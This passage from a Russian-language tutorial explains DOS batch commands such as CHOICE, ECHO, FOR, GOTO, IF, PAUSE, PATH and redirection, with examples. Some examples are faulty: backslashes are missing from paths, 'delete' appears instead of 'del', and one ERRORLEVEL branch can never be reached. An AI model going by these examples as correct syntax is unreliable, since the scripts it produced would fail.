показан перед подсказкой. Если текст
не указан, то выведется только подсказка.

/C[:]
выборы – указывает возможности из
которых пользователь будет делать
выбор, при выводе выборы будут заключены
в квадратные скобки с ? в конце. Если /C
не используется, то по умолчанию выводятся
выборы Y
и N.
Двоеточие не обязательно.

/N-
если используется эта опция, то будет
показан текст подсказки, а сама подсказка
не выведется.

/S
– чувствительность к регистру.

/T[:]c,nn
– ограничение времени, на которое
командный файл приостановит свое
выполнение, с- определяет символ, который
будет выбран по умолчанию, если через
nn
секунд пользователь не сделает выбор.

Примеры:

choice
/c
ync

Пользователь
увидит подсказку

[Y,N,C]?

К
подсказке можно добавить пояснительный
текст

choice
/c ync Yes(Да),No(Нет),Continue(Продолжить)

Пользователь
увидит текст:

Yes(Да),No(Нет),Continue(Продолжить)[Y,N,C]?

Для
ограничения времени можно использовать
опцию /Т

choice
/c:ync/t:c,10

Пользователь
увидит подсказку

[Y,N,C]?

Если
в течение 10с выбор не будет сделан, то
по умолчанию будет выбрана опция С и
пакетный файл продолжит выполнение.

3.
ECHO ON|OFF – включает или отключает
отображение команд при выполнении
командного файла. Может использоваться
для вывода сообщений по ходу выполнения
файла. Обычно при выполнении командного
файла на экран выводятся его команд.
Команда ECHO
OFF
отключит эту функцию. Пример

ECHO
OFF

.
. . . .

ECHO
Это сообщение командного файла

.
. . . .

Пользователь
при работе командного файла увидит на
экране

ECHO
OFF

Это
сообщение командного файла

Чтобы
сама команда ECHO
OFF
не выводилась на экран в начало команды
нужно добавить @.

  1. FOR
    %%переменная IN
    (набор) DO
    команда ,где

%%переменная
– любой символ,

набор
– одна или более спецификаций файлов.

Команда
осуществляет циклическое выполнение
команд. Может использоваться и в пакетной
и в диалоговой обработке.

Элементу
%%переменная последовательно присваивается
каждое из вхождений набора, затем
выполняется команда DOS,
указанная после DO.

Пример

for
%%x
in
(*.txt)
do
type
%%x //печатает
на экране все текстовые файлы текущего
каталога.

  1. GOTO
    метка

Выполняет
безусловный переход, т. е. передает
управление команде, находящейся в строке
после метки.

Метка-
первые 8 символов после двоеточия, может
вводиться с отступом, но предшествовать
метке могут только пробелы.

Если
указанная после goto
метка не найдена, то выводится сообщение
об ошибке и командный файл завершает
свою работу.

Пример

:start

echo
Это- бесконечный цикл

goto
start

Цикл
можно закончить при нажатии Ctrl+Break.

  1. IF
    – условие. Имеет 3 формы:

  1. IF[NOT]
    EXIST
    имя_файла команда [параметры]

Это
условие определяет проверку на наличие
или отсутствие файла на диске. Если
условие истинно, то выполняется указанная
команда.

echo
off

if
not
exist
data1.dat
goto
message

echo
Файл Data1.dat
в текущем каталоге существует

goto
end

:message

echo
Файл
не
найден,

echo
однако этот файл должен быть в текущем
каталоге

:end

2)IF
[NOT]
строка1==строка2

Это
условие проверяет строки на равенство.
Если условие истинно, то выполняется
указанная команда.

Пример

echo
off

if
not x==%1x goto print

echo
после имени командного файла надо ввести
параметр

goto
end

:print

echo
переданный параметр – [%1]

:end

В
этом примере командный файл работает
по разному в зависимости от того, были
ли введены в командную строку символы
после имени командного файла. Здесь х
– строка1, %1х
– строка2, %1
– переданный параметр.

  1. IF
    [NOT] ERRORLEVEL число

Это
условие проверяет число ERRORLEVEL
(переменная, в которую записываются
значения в ОС DOS,
например, коды завершения программ).
Если ERRОRLEVEL
равна или больше(или не равна — NOT)
указанного числу, то выполняется команда.
Примеры:

1)
if
errorlevel
1 echo
errorlevel
больше 0 //выводит сообщение при установке
errorlevel>0

  1. echo
    off

if
errorlevel 1 goto copyfile

if
errorlevel 2 goto delfile

echo
Программа
работает неправильно

goto
end

:copyfile

copy
dat1.dat+dat.tmp

echo
Получены
новые данные

goto
end

:delfile

delete
dat1.dat

echo
Каталог
очищен

:end

  1. PAUSE
    [комментарий]

Приостанавливает
выполнение программы до нажатия клавиши
и выводит сообщение

Нажмите
любую клавишу. . .

Если
есть комментарий, то он выводится перед
сообщением

pause
Вставьте дискету в дисковод А

Эта
команда приостановит выполнение
командного файла для вставки диска в
дисковод А.

7.
REM
[комментарий]

Вставка
в командный файл сообщение, которые не
влияют на выполнение программы.

8.
PATH=путь

задает
путь поиска команды по умолчанию

path=a:;c:windows;c:windowscommand;e;files

т.
е. DOS
начинает писк команды с какталога а:,
затем переходит в c:windows,
потом в c:windowscommand
и т. д.

9.
Символы перенаправления ввода-вывода

>
— перенаправляет вывод команды не на
экран, а в указанное устройство или в
файл.

dir
a:>f1.txt

>>
— добавляет информацию в конец существующего
файла.

date>>
f1

time>>f1

<
— позволяет получить ввод не с клавиатуры,
а из указанного файла или устройства.

4

Понравилась статья? Поделить с друзьями:
  • Выдает синий экран при запуске windows
  • Выберите расположение для сети windows 7 что выбрать
  • Выдает ошибку при установке windows 7 с флешки через биос
  • Выберите расположение архива компьютера для восстановления windows 7
  • Выдает ошибку при восстановлении системы windows 10